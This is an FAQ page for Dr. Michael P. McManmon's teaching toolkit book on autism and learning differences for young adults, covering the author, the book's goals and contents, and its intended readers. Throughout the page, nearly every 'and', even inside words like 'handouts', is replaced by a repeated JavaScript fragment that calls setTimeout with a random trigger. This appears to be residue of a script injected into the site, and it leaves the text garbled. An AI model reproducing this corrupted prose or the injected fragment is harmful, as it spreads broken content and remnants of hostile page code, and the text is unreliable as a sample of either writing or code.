Frequently Asked Questions (FAQs)

Who is the author?

Dr. Michael P. McManmon is the founder of the College Internship Program (CIP) that serves college-aged students with Learning Differences (LD) andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Autism Spectrum Disorder (ASD) in six centers across the US. CIP’s goal is to prepare young men andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and young women with skills for life, college, work, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and independent living. Dr. McManmon was diagnosed with an ASD (specifically, Asperger’s Syndrome with Sensory Processing Disorder) at fifty-one years of age. CIP developed the methodology andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and pedagogy in the book, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Dr. McManmon applies the core principals of the book to his own life.

Why did CIP andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Dr. McManmon Create a Teaching Toolkit?

As Dr. McManmon travels the world, as speaker, authority, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and advocate in the field, he has been asked repeatedly by educators, professionals, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and parents to share CIP’s 30+ year fund of knowledge, curriculum materials, research, outcomes, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and assessment strategies with others. This book is in response to these requests.

What is the focus andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and goal of Autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Learning Differences: An Active Learning Teaching Toolkit?

The focus is having adolescents andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and young adults (ages 16-26) who have received an ASD (Autism Spectrum Disorder) or LD (Learning Differences) diagnosis acquire four essential competencies: skills for life, school, work, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and independent living through active/participatory/student-centered learning.

The goal is for these young men andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and women to obtain the life skills needed in order to lead happy andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and meaningful lives while pursuing independence, work or careers, higher education, relationships, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and community integration as they begin to contribute to the wider world that surrounds them.

What else is covered in the book?

CIP’s teaching toolkit presents tried-andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and-true strategies that address difficulties with social skills andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Executive Function, cognitive rigidity, self-esteem issues, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and more.

It also includes sections on peer-mentoring, mediation, safety, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and inclusion.

There is a chapter on assessing andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and evaluating the progress that includes student self-assessment materials andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and feedback forms.

The book contains many contributions from experts in the field from around the world, including Dr. Stephen Shore, Dr. Brenda Smith Myles, Barbara Bissonnette, Jennifer Cook O’Toole, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and many others. Additionally, 26 staff, students, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and alumni from CIP contributed to the content.

How is the content delivered?

The content is delivered via materials, handom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andouts, activities, strategies, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and handom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}ands-on practical examples of active/participatory learning.

Many of the pages are photocopiable for use in classroom settings.

Who is this book intended for?

Autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Learning Differences: An Active Learning Teaching Toolkit is a complete curriculum for educators, clinicians, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and professionals who teach or advise young adults on the ASD or LD Spectrum.

The book is an outstandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anding resource that can also be used effectively by parents andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and by individuals with an ASD or LD diagnosis for self-study.